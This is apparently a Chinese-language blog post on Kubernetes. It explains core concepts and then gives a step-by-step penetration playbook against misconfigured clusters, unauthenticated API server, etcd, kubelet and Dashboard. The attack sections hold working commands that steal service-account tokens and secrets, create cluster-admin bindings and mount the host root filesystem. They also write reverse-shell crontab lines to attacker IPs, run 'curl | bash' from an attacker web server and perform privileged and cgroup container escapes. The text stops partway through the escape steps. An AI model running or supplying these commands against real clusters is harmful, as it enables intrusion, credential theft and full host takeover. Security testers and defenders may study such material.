k8s

总结

Posted by lyk on January 5, 2024

0x01 基础知识

容器概念

Container(容器)是一种便携式、轻量级的操作系统级虚拟化技术,它使用namespace隔离不同的软件运行环境,并通过镜像自包含软件的运行环境,从而使得容器可以很方便的在任何地方运行,由于容器体积小且启动快,因此可以在每个容器镜像中打包一个应用程序,这种一对一的应用镜像关系拥有很多好处,使用容器不需要与外部的基础架构环境绑定,因为每一个应用程序都不需要外部依赖,更不需要与外部的基础架构环境依赖,完美解决了从开发到生产环境的一致性问题

Pod概念

Kubernetes使用Pod来管理容器,每个Pod可以包含一个或多个紧密关联的容器,Pod是一组紧密关联的容器集合,它们共享PID、IPC、Network 和UTS Namespace,是Kubernetes调度的基本单位,Pod内的多个容器共享网络和文件系统,可以通过进程间通信和文件共享这种简单高效的方式组合完成服务 img 在Kubernetes中对象使用ManiFest(YAML或JSON)来定义,一个简单的Nginx服务可以定义为nginx.yaml,它包含一个镜像为nginx的容器,示例如下:

apiVersion: v1
kind: Pod
metadata:
    name: nginx
    labels:
        app: nginx
spec:
    containers:
    -name: nginx
         image: nginx
         ports:
        -containerPort: 80

Node概念

Node是Pod真正运行的主机,可以是物理机,也可以是虚拟机,为了管理Pod每个Node节点上至少要运行Container Runtime(比如docker或者rkt)、 Kubelet和Kube-proxy服务

img

Namespace

Namespace是对一组资源和对象的抽象集合,比如可以用来将系统内部的对象划分为不同的项目组或用户组,常见的pods, services, replication controllers和deployments等都是属于某一个namespace的(默认是default),而node, persistentVolumes等则不属于任何namespace

Service概念

Service是应用服务的抽象,通过labels为应用提供负载均衡和服务发现,匹配labels的Pod IP和端口列表组成endpoints,由kube-proxy负责将服务IP负载均衡到这些endpoints上,通常每一个Service都会自动分配一个Cluster IP(仅在集群内部可访问的虚拟地址)和DNS名,其他容器可以通过该地址或DNS来访问服务,而不需要了解后端容器的运行:

img

apiVersion: v1
kind: Service
metadata:
    name: nginx
spec:
    ports:
        - port: 8078 # the port that this service should serve on
        name: http
        # the container on each pod to connect to, can be a name
        # (e.g. 'www') or a number (e.g. 80)
        targetPort: 80
        protocol: TCP
    selector:
        app: nginx

0x02 架构概览

架构源起

Borg是谷歌内部的大规模集群管理系统,负责对谷歌内部很多核心服务的调度和管理,Borg的目的是让用户能够不必操心资源管理的问题,让他们专注于自己的核心业务,并且做到跨多个数据中心的资源利用率最大化 Borg主要由BorgMaster、Borglet、Borgcfg和Scheduler组成,架构示意图如下:

img

  • Borglet:负责真正运行任务(在容器中)
  • Borgcfg:Borg的命令行工具,用于跟Borg系统交互,一般通过一个配置文件来提交任务
  • Scheduer:负责任务的调度,根据应用的特点将其调度到具体的机器上去
  • BorgMaster:是整个集群的大脑,负责维护整个集群的状态,并将数据持久化到 Paxos 存储中

架构模型

K8s借鉴了Borg的设计理念,比如:Pod、Service、Label、单Pod、单IP等,Kubernetes的整体架构跟Borg非常像,如下图所示:

img

K8s主要由以下几个核心组件组成:

  • etcd:保存了整个集群的状态
  • apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制
  • controller manager:负责维护集群的状态,比如:故障检测、自动扩展、滚动更新等
  • scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
  • kubelet:负责维护容器的生命周期,同时也负责Volume(CSI)和网络(CNI)的管理
  • Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
  • kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡

0x03 核心组件

Kubernetes主要由以下几个核心组件组成,这也是我们对K8s进行安全评估的主要测试维度:

  • etcd:保存了整个集群的状态
  • apiserver:提供了资源操作的唯一入口,并提供认证、授权、访问控制、API注册和发现等机制
  • controller manager:负责维护集群的状态,比如故障检测、自动扩展、滚动更新等
  • scheduler:负责资源的调度,按照预定的调度策略将Pod调度到相应的机器上
  • kubelet:负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理
  • Container runtime:负责镜像管理以及Pod和容器的真正运行(CRI)
  • kube-proxy:负责为Service提供cluster内部的服务发现和负载均衡

img

下面是关键组件的一些常用默认端口:

img

0x04 渗透路径

常见的K8S的渗透路径: img 形象的K8S的渗透过程:

img

0x05 信息收集

我们评估是如果获取到应用的webshell权限时是很有必要判断一下当前的环境的,最狠的一次是之前打HW的时候有厂商搭建了一套完整的域环境的蜜罐系统,看着你打…..,所以这个阶段要做的还是信息收集

环境信息

env

img

env | grep KUBERNETES

img

容器检测

注意下面的.dockerenv哦:

ls -al

img

内核版本

需要下载kubectl到pod中,之后通过执行以下命令来获取node节点的内核版本信息

kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.nodeInfo.kernelVersion}{"\n"}{end}'

img

Token类

K8s集群创建的Pod中容器内部默认携带K8s Service Account认证凭据(/run/secrets/kubernetes.io/serviceaccount/token),利用该凭据可以认证K8s API-Server服务器并访问高权限接口,如果执行成功意味着该账号拥有高权限,可以直接利用Service Account管理K8s集群

cat /var/run/secrets/kuberenetes.io/serviceaccount/token

img

Secret类

K8s Secrets用于存储敏感数据,从Secrets中获取的AK及通信凭证可用户后续渗透中从外部或云产品API窃取信息:

#命令格式
./cdk run k8s-secret-dump (auto|<service-account-token-path>)

#使用实例
./cdk run k8s-secret-dump auto

img

安全策略

对于已经获取了kubeconfig或sa账号权限,进而想要创建特殊配置的容器,但是受到了K8s Pod Security Policies的限制时可以使用这个Exploit获取Pod Security Policies的规则信息

#命令格式
./cdk run k8s-psp-dump (auto|<service-account-token-path>

#使用实例
./cdk run k8s-psp-dump auto
2021/03/24 22:15:58 getting K8s api-server API addr.
    Find K8s api-server in ENV: https://ip:8443
2021/03/24 22:15:58 trying to dump K8s Pod Security Policies with local service-account: token
2021/03/24 22:15:58 requesting  /apis/policy/v1beta1/podsecuritypolicies
2021/03/24 22:15:58 dump Pod Security Policies success, saved in:  k8s_pod_security_policies.json
2021/03/24 22:15:58 requesting  /api/v1/namespaces/default/pods
2021/03/24 22:15:58 K8S Pod Security Policies rule list:
2021/03/24 22:15:58 rule { securityContext.hostPID: true } is not allowed.
2021/03/24 22:15:58 rule { securityContext.hostIPC: true } is not allowed.
2021/03/24 22:15:58 rule { volumes[0].hostPath.pathPrefix: \"/proc\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[1].hostPath.pathPrefix: \"/dev\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[2].hostPath.pathPrefix: \"/sys\" } is not allowed.
2021/03/24 22:15:58 rule { volumes[3].hostPath.pathPrefix: \"/\" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_ADMIN\" } is not allowed.
2021/03/24 22:15:58 rule { containers[0].securityContext.capabilities.add: \"SYS_PTRACE\" } is not allowed.

端口服务

img

内部网络

  • Flannel默认使用10.244.0.0/16网络
  • Calico默认使用192.168.0.0/16网络

0x06 常规利用

k8s集群攻击面和路径

image-20231019134823018

不同的容器技术涉及的经典攻击面

image-20231022133354830这一部分注意介绍一些常见的因为K8s自身的漏洞或者安全配置不当导致的可被利用的漏洞点:

未授权类

K8s API Server未授权

基本介绍 k8s的Master节点上会暴露kube-apiserver,默认情况下会开启以下两个HTTP端口: A:Localhost Port

  • HTTP服务
  • 主机访问受保护
  • 在HTTP中没有认证和授权检查
  • 默认端口8080,修改标识–insecure-port
  • 默认IP是本地主机,修改标识—insecure-bind-address

B:Secure Port

  • 使用基于策略的授权方式
  • 认证方式,令牌文件或者客户端证书
  • 默认端口6443,修改标识—secure-port
  • 默认IP是首个非本地主机的网络接口,修改标识—bind-address
  • HTTPS服务。设置证书和秘钥的标识,–tls-cert-file,–tls-private-key-file

以上两个端口主要存在以下两类安全风险:

  • 开发者使用8080端口并将其暴露在公网上,攻击者就可以通过该端口的API直接对集群下发指令
  • 运维人员将”system:anonymous”用户绑定到”cluster-admin”用户组,使匿名用户可以通过6443端口以管理员权限向集群内部下发指令

漏洞检测 在浏览器中访问以下URL:

#格式说明
http://ip:port/

#使用实例
http://192.168.17.144:8080/

img 返回以上信息说明存在K8s API Server未授权访问漏洞~ 漏洞利用 利用方式按严重程度可分为以下两种攻击类型:

  • 通过利用kubectl客户端调用Secure Port接口去控制已经创建好的容器
  • 通过创建一个自定义的容器将系统根目录的文件挂在到/mnt目录,之后通过修改/mnt/etc/crontab来影响宿主机的crontab,通过反弹Shell拿到宿主机的权限

容器管理

Step 1:获取目标机器的信息

#格式说明
kubectl -s ip:port get nodes

#执行实例
kubectl -s 192.168.17.144:8080 get nodes

img

备注说明:如果出现”Error from server (NotFound): the server could not find the requested resource”报错,可能是因为Kubectl客户端和K8s的Server端版本不相同导致的需要进行降级操作,此时需要将版本降低到和目标主机版本一致即可

curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.8.7/bin/linux/amd64/kubectl
chmod 777 kubectl
mv /usr/bin/kubectl /usr/bin/kubectl.bak
mv kubectl /usr/bin/kubectl

Step 2:获取命名空间

kubectl -s 192.168.17.144:8080 get namespace

img Step 3:获取某一命名空间下的Pod列表

kubectl -s 192.168.17.144:8080 get pod -n default

Step 4:执行以下命令接管pod,可以看到下方返回的提示是”pod nginx does not have a host assigned”,这是由于pod未指定host所致

#格式说明
kubectl -s ip:port  --namespace=default exec -it dockername bash

#执行实例
kubectl -s 192.168.17.144:8080 -n default exec -it nginx /bin/sh

img nginx的yaml文件如下:

apiVersion: v1                      
kind: Pod                           
metadata:
  name: nginx                       
spec:                               
  containers:
  - image: nginx:alpine             
    name: container-0               
    resources:                      
      limits:
        cpu: 100m
        memory: 200Mi
      requests:
        cpu: 100m
        memory: 200Mi
  imagePullSecrets:                 
  - name: default-secret

如果幸运的化我们可以找到恰当的Pod并通过信息收集以及逃逸获取宿主机的权限,之后控制节点以及整个集群~ 反弹shell A、Web Dashboard Step 1:查看当前Namespace确定命名空间有哪些

kubectl -s 192.168.17.144:8080 get namespaces

img Step 2:查看”kubernetes-dashboard”命名空间下pod与service的详细状态

kubectl -s 192.168.17.144:8080 get pods,svc -n kubernetes-dashboard -o wide

img Step 3:查看Serviceaccount和Secrets

kubectl -s 192.168.17.144:8080 get sa,secrets -n kubernetes-dashboard

img Step 4:查看token,在这里我们要根据上一步的输出进行多项service-account-token的查看,因为部分会应权限而导致操作有限

kubectl -s 192.168.17.144:8080 describe secrets admin-myuser-token-jcj9d -n kubernetes-dashboard

img Step 5:尝试登录DashBoard

img Step 6:创建一个pod,并将本地根目录挂载到pod的/mnt目录中

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

img

img

Step 7:之后可以看到创建的myapp Pod

img Step 8:之后进入挂载的/mnt目录中,就是master节点的对应目录了

img img

Step 9:之后写计划任务

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.158/4444 0>&1\n" >> /mnt/etc/crontab

img

Step 10:成功反弹shell

img

B、Kubectl Client

Step 1:新建myapp2.yaml文件

apiVersion: v1
kind: Pod
metadata:
  name: myapp2
spec:
  containers:
  - image: nginx
    name: container0
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

Step 2:创建容器

kubectl -s 192.168.17.144:8080 create -f myapp2.yaml

img Step 3:查看容器状态

kubectl -s 192.168.17.144:8080 get pod -n default

img Step 4:进入容器(由于上面迟迟处于pending状态,也许时内存问题,这里不再过多赘述,直接向下写流程)

kubectl -s 192.168.17.144:8080 --namespace=default exec -it myapp2 bash
Step 5:写计划任务
echo -e "* * * * * root bash -i >& /dev/tcp/x.x.x.x/8888 0>&1\n" >> /mnt/etc/crontab

Step 6:成功获取shell

img

接口扩展 补充一些可用接口:

img

ETCD端口未授权访问

漏洞概述 ETCD最大的安全风险是未授权访问,在启动etcd时如果没有指定–client-cert-auth参数打开证书校验,并且没有通过iptables/防火墙等实施访问控制,ETCD的接口和数据就会直接暴露给外部黑客

漏洞检测 ETCD一般监听2379端口且对外暴露Client API,可以指定是否启用TLS,因此这个端口可能是HTTP服务,也可能是HTTPS服务,扫描器可以通过检查以下2个接口来判断是否存在未授权访问漏洞: 第一个接口:https://IP:2379/version

img

第二个接口: https://IP:2379/v2/keys

img

攻击测试 ETCD V2和V3是两套不兼容的API,K8s使用V3,通过环境变量设置API V3:

export ETCDCTL_API=3

检查是否正常连接

etcdctl endpoint health

127.0.0.1:2379 is healthy: successfully committed proposal: took = 939.097µs

查看K8s secrets

etcdctl get / --prefix --keys-only | grep /secrets/

获取集群中保存的云产品AK,横向移动:

etcdctl get /registry/secrets/default/acr-credential-518dfd1883737c2a6bde99ed6fee583c

读取service account token

etcdctl get / --prefix --keys-only | grep /secrets/kube-system/clusterrole

通过token认证访问API-Server,接管集群:

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

证书使用 查看链接状态

sudo ./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 endpoint health

img 查看集群状态

etcdctl --write-out=table --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 endpoint status

img 列出所有的keys

./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379 get / --prefix --keys-only

查看K8s Secret

./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379/ get / --prefix --keys-only | grep /secrets/

img 读取服务Token

./etcdctl --key=/etc/kubernetes/pki/etcd/server.key --cert=/etc/kubernetes/pki/etcd/server.crt --cacert=/etc/kubernetes/pki/etcd/ca.crt --endpoints https://127.0.0.1:2379/ get /registry/secrets/kubernetes-dashboard/admin-myuser-token-jcj9d

img Token接管集群

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="[ey...]" -n kube-system get pods

img

Kubelet端口未授权类

基本介绍 K8s Node对外开启10250(Kubelet API)和10255端口(readonly API),默认情况下kubelet监听的10250端口没有进行任何认证鉴权,攻击者可以通过利用该设计缺陷来创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机 利用过程 Step 1:获得token 首先需要确定node是否存在未授权问题,如果访问以下地址并返回如下数据表示可以利用

https://ip:10250/pods

img Step 2:基础信息确定 从上述结果中确定namespace、pod_name、container_name,关于查找方法可以通过检索selfLink,此时会发现再返回的数据中会有一个类似”/api/v1/namespaces/kube-system/pods/kube-flannel-ds-xwk2t”的值,其中namespaces就是后面的kube-system,pods就是后面的kube-flannel-ds-xwk2t,如果执行失败可以看看phase的状态是不是fail,如果是的话就换一个phase是running的试试

img

img Step 3:执行命令 可以通过一下命令再在对应的容器里执行命令:

#格式说明
curl -k -XPOST "https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%" -d "cmd=ls -la /"

#执行实例
curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=ls -la /"

img Step 4:检索Token信息 默认情况下Token保存在/var/run/secrets/kubernetes.io/serviceaccount/token

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

img 如果token不在/var/run/secrets/kubernetes.io/serviceaccount/token,那么可以通过mount命令来查找

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=mount"

img Step 5:获得master访问权 接下来可以尝试获得master(api server)的访问权限,默认情况下api server开放的端口为6443,所以可以通过扫描同个网段开放6443的主机来挨个尝试,除了这种方法还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息:

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=env"

img

curl -k -XPOST "https://192.168.17.144:10250/run/kube-system/kube-flannel-ds-xwk2t/kube-flannel" -d "cmd=netstat -ntlp"

img 如果提示Error from server (Forbidden): secrets is forbidden: User “” cannot list resource “secrets” in API则说明权限不够

kubectl --insecure-skip-tls-verify=true --server="https://192.168.17.144:6443" --token="eyJhbGciOiJSUzI1NiIsImtpZCI6Iml3OVRtaVlnREpPQ0h2ZlUwSDBleFlIc29qcXgtTmtaUFN4WDk4NjZkV1EifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJmbGFubmVsLXRva2VuLWhwbGJ0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImZsYW5uZWwiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIwMmJmZmUzZi0wNGE5LTQ2MTItYjRjYy1mYjNkNTdiNjZiZDkiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06Zmxhbm5lbCJ9.oGnRE55P1Dv9W4-Gs8UCp5M1_vdL2flZ0WYJtr8HTMgb2Si6wb-N_ltS1HRi_Q9VHsS_CsjHw3ZqA-jQvbz-RENNLDEL20nUt9J51IyqeGPC3sKAd3fVOZmViIVrYsQSewvPHwPq7qvFnIj1aR-pFYrB47iohej2XvS4aTNZMdpxhL0jCBa3o5SFZg1oNR1rzJd1hhSaCNAbQ7_JMdTuCy4aU0zykVd0GoUF9gXRD7Avx9Y25QGCBTdPgL11fzjcGiG93KtfE4QASiLemnxDF1TPeob9MERFbT6mq-CQ7243U6HjF6Lx-1NfLk52qaXp3hbpGySNudUz_i_Q-KWIgw" get secrets --all-namespaces -o jsonv

img Step 6:获取node里pod的shell 攻击者可以本地搭建web服务,通过在node中的pod里执行反弹语句来获得node的shell,假定这里的192.168.17.161:80是攻击者web服务,之后写入以下反弹shell指令,之后启动一个简易的HTTP服务:

img 在本地浏览器中进行简单测试:

img 之后在攻击主机上监听: img 之后进行反弹shell操作:

curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/bash&command=-c&command=curl+192.168.17.161:80+|+bash&input=1&output=1&tty=1"

img 发现并不行,之后尝试下面的语句(主要换了sh)

curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.17.144:10250/exec/kube-system/kube-flannel-ds-xwk2t/kube-flannel?command=/bin/sh&command=-c&command=curl+192.168.17.161+|+bash&input=1&output=1&tty=1"

img 发现也为成功,可能是笔者这里的环境问题所致,下面给出一个成功的截图:

img 之后会再执行端返回用于查看执行结果的链接地址:

[root@localhost ~]# curl --insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version: channel.k8s.io" -X POST "https://192.168.4.68:10250/exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1"
* About to connect() to 192.168.4.68 port 10250 (#0)
*   Trying 192.168.4.68...
* Connected to 192.168.4.68 (192.168.4.68) port 10250 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
* skipping SSL peer certificate verification
* SSL connection using TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
* Server certificate:
*   subject: CN=192.168.4.68@1544518989
*   start date: 12月 11 09:03:09 2018 GMT
*   expire date: 12月 11 09:03:09 2019 GMT
*   common name: 192.168.4.68@1544518989
*   issuer: CN=192.168.4.68@1544518989
> POST /exec/ingress-nginx/nginx-ingress-controller-6f5cbc5444-nkdg6/nginx-ingress-controller?command=/bin/bash&command=-c&command=curl+192.168.84.158:88+|+bash&input=1&output=1&tty=1 HTTP/1.1
> User-Agent: curl/7.29.0
> Host: 192.168.4.68:10250
> Accept: */*
> X-Stream-Protocol-Version: v2.channel.k8s.io
> X-Stream-Protocol-Version: channel.k8s.io
> 
< HTTP/1.1 302 Found
< Location: /cri/exec/zEKYcaZt                          #查看执行结果
< Date: Wed, 07 Aug 2019 06:01:42 GMT
< Content-Length: 0
< Content-Type: text/plain; charset=utf-8
< 
* Connection #0 to host 192.168.4.68 left intact
[root@localhost ~]#

执行如下语句查看命令执行结果

[root@localhost ~]# docker run -it --rm joshgubler/wscat -c "https://192.168.4.68:10250/cri/exec/zEKYcaZt" --no-check

img Step 7:连接K8s Master地址 此时我们是在Node的Pod里,在反弹的Shell里查看Master的内部IP img 尝试连接K8s Master地址

[root@localhost ~]# TOKEN_VALUE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
[root@localhost ~]# curl -k --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -H  "Authorization: Bearer $TOKEN_VALUE" https://10.0.0.1:443/api/v1/pods

kube-proxy配置错误

基本介绍 Kubectl Proxy代理程序既能作为API Server的反向代理,也能作为普通客户端访问API Server的代理,当开发人员使用Kubectl proxy将API Server外置时攻击者可以通过使用和K8s API Server未授权一样的漏洞实施攻击操作 漏洞利用 Step 1:通过执行以下命令启动我们自定义的

kubectl proxy --port=8080 --address=192.168.17.144 --api-prefix=/ --disable-filter=true

img Step 2:之后再浏览器中访问 img Step 3:之后和K8s API Server未授权利用一致,例如:获取节点信息

#格式说明
kubectl -s ip:port get nodes

#执行实例
kubectl -s 192.168.17.144:8080 get nodes

img

控制面版

Dashboard未授权访问

漏洞描述 K8s Dashboard默认是存在鉴权机制的,用户可以通过kubeconfig或者Token两种方式登录,当用户开启了enable-skip-login时可以在登录界面点击Skip跳过登录直接进入Dashboard,而且有时候可以直接访问K8s DashBoard,在这种情况下攻击者可以通过部署恶意Pod实现控制节点的目的

漏洞复现 K8s DashBoard未授权访问: img 宿主Shell Step 1:通过WEB UI界面创建一个pod,并将本地根目录挂载到pod的/mnt目录中

apiVersion: v1
kind: Pod
metadata:
  name: myapp
spec:
  containers:
  - image: nginx
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  volumes:
  - name: test-volume
    hostPath:
      path: /

img

img Step 2:之后可以看到创建的myapp Pod

img Step 3:之后进入挂载的/mnt目录中,就是master节点的对应目录了

img

img Step 4:之后写计划任务

echo -e "* * * * * root bash -i >& /dev/tcp/192.168.17.157/4444 0>&1\n" >> /mnt/etc/crontab

img Step 5:成功反弹shell

img

额外扩展 获取K8s Service Account认证凭据

cat /var/run/secrets/kuberenetes.io/serviceaccount/token

img

Dashboard Config登录

利用场景

  • 项目托管不当导致kubernetconfig文件泄露,例如:Github、Gitlab等,之后接管Kubernet dashboard
  • 在获取到Node节点权限的情况下通过kubeconfig来接管Kubernet dashboard

基础知识 用户凭证保存在kubeconfig文件中,kubectl通过以下顺序来找到kubeconfig文件

  • 如果提供了–kubeconfig参数,就使用提供的kubeconfig文件
  • 如果未提供–kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
  • 如果以上两种情况都没有,那么kubectl就使用默认的kubeconfig文件$HOME/.kube/config

利用流程 Step 1:获取namespace

kubectl get namespace

img Step 2:创建dashboard管理用户

kubectl create serviceaccount dashboard-admin -n kubernetes-dashboard

img Step 3:绑定用户为集群管理用户

kubectl create clusterrolebinding dashboard-cluster-admin --clusterrole=cluster-admin --serviceaccount=kubernetes-dashboard:dashboard-admin

img Step 4:获取tocken(后续可以使用token登录)

kubectl get sa,secrets -n kubernetes-dashboard

kubectl describe secret -n kubernetes-dashboard dashboard-admin-token-kqsll

img

img Step 5:生成kubeconfig文件

DASH_TOCKEN=$(kubectl get secret -n kubernetes-dashboard dashboard-admin-token-kqsll -o jsonpath={.data.token}|base64 -d)

img

kubectl config set-cluster kubernetes --server=192.168.17.144:30001 --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-credentials dashboard-admin --token=$DASH_TOCKEN --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config set-context dashboard-admin@kubernetes --cluster=kubernetes --user=dashboard-admin --kubeconfig=/home/r00t/dashbord-admin.conf
kubectl config use-context dashboard-admin@kubernetes --kubeconfig=/home/r00t/dashbord-admin.conf

img Step 6:赋予读写执行权限

chmod 777 dashboard-admin.conf

img Step 7:使用生成的dashbord-admin.conf登录dashboard

img

img

0x07 逃逸相关

配置不当

Privileged特权模式逃逸

前置知识

Security Context(安全上下文),用于定义Pod或Container的权限和访问控制,Kubernetes提供了三种配置Security Context的方法:

  • Pod Security Policy:应用于集群级别
  • Pod-level Security Context:应用于Pod级别
  • Container-level Security Context:应用于容器级别

容器级别:仅应用到指定的容器上,并且不会影响Volume

apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
    - name: hello-world-container
      image: ubuntu:latest
      securityContext:
        privileged: true

Pod级别:应用到Pod内所有容器,会影响Volume

apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:
  containers:
  securityContext:
    fsGroup: 1234
    supplementalGroups: [5678]
    seLinuxOptions:
      level: "s0:c123,c456"

PSP,集群级别:PSP是集群级的Pod安全策略,自动为集群内的Pod和Volume设置Security Context img

漏洞介绍

当容器启动加上–privileged选项时,容器可以访问宿主机上所有设备,而K8s配置文件如果启用了”privileged: true”也可以实现挂载操作

逃逸演示

Step 1:使用docker拉取ubuntu镜像到本地

sudo docker pull ubuntu

img Step 2:创建一个Pod的yaml文件

apiVersion: v1
kind: Pod
metadata:
  name: myapp-test
spec:
  containers:
  - image: ubuntu:latest
    name: ubuntu
    securityContext:
      privileged: true

img Step 3:创建一个Pod

kubectl create -f myapp-test.yaml

img Step 3:进入Pod进行逃逸操作

#进入pod
kubectl exec -it myapp-test /bin/bash

#查看磁盘
fdisk -l

img Step 4:查看权限

cat /proc/self/status | grep CapEff

img Step 5:使用CDK进行逃逸

./cdk run mount-disk

img 在容器内部进入挂载目录,直接管理宿主机磁盘文件(多少有一些问题) img

CAP_SYS_ADMIN配置逃逸

漏洞概述

Docker通过Linux Namespace实现6项资源隔离,包括主机名、用户权限、文件系统、网络、进程号、进程间通讯,但部分启动参数授予容器权限较大的权限,从而打破了资源隔离的界限:

  • –pid=host 启动时,绕过PID Namespace
  • –ipc=host 启动时,绕过IPC Namespace
  • –net=host 启动时,绕过Network Namespace
  • –cap-add=SYS_ADMIN 启动时,允许执行mount特权操作,需获得资源挂载进行利用
利用前提
  • 在容器内root用户
  • 容器必须使用SYS_ADMIN Linux capability运行
  • 容器必须缺少AppArmor配置文件,否则将允许mount syscall
  • cgroup v1虚拟文件系统必须以读写方式安装在容器内部
前置知识

cgroup 默认情况下容器在启动时会在/sys/fs/cgroup目录各个subsystem目录的docker子目录里生成以容器ID为名字的子目录,我们通过执行以下命令查看宿主机里的memory cgroup目录,可以看到docker目录里多了一个目录9d14bc4987d5807f691b988464e167653603b13faf805a559c8a08cb36e3251a,这一串字符是容器ID,这个目录里的内容就是用户在容器里查看/sys/fs/cgroup/memory的内容 img mount mount命令是一个系统调用(syscall)命令,系统调用号为165,执行syscall需要用户具备CAP_SYS_ADMIN的Capability,如果在宿主机启动时添加了–cap-add SYS_ADMIN参数,那root用户就能在容器内部就能执行mount挂载cgroup,docker默认情况下不会开启SYS_ADMIN Capability

漏洞利用

漏洞利用的第一步是在容器里创建一个临时目录/tmp/cgrp并使用mount命令将系统默认的memory类型的cgroup重新挂载到/tmp/cgrp上

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp

参数解释:

  • -t参数:表示mount的类别为cgroup
  • -o参数:表示挂载的选项,对于cgroup,挂载选项就是cgroup的subsystem,每个subsystem代表一种资源类型,比如:cpu、memory 执行该命令之后,宿主机的memory cgroup被挂载到了容器中,对应目录/tmp/cgrp

img 需要注意的是在对cgroup进行重新挂载的操作时只有当被挂载目标的hierarchy为空时才能成功,因此如果这里memory的重新挂载不成功的话可以换其他的subsystem,接着就是在这个cgroup类型里建一个子目录x

mkdir /tmp/cgrp/x

漏洞利用的第二步和notify_no_release有关,cgroup的每一个subsystem都有参数notify_on_release,这个参数值是Boolean型,1或0,分别可以启动和禁用释放代理的指令,如果notify_on_release启用当cgroup不再包含任何任务时(即cgroup的tasks文件里的PID为空时),系统内核会执行release_agent参数指定的文件里的文本内容,不过需要注意的是release_agent文件并不在/tmp/cgrp/x目录里,而是在memory cgroup的根目录/tmp/cgrp里,这样的设计可以用来自动移除根cgroup里所有空的cgroup,我们可以通过执行以下命令将/tmp/cgrp/x的notify_no_release属性设置为1

echo 1 > /tmp/cgrp/x/notify_no_release

接着通过将release_agent指定为容器在宿主机上的cmd文件,具体操作是先获取docker容器在宿主机上的存储路径:

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

文件/etc/mtab存储了容器中实际挂载的文件系统 img 这里使用sed命令匹配perdir=(和)之间的非逗号内容,从上图可以看出,host_path就是docker的overlay存储驱动上的可写目录upperdir img 在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件:

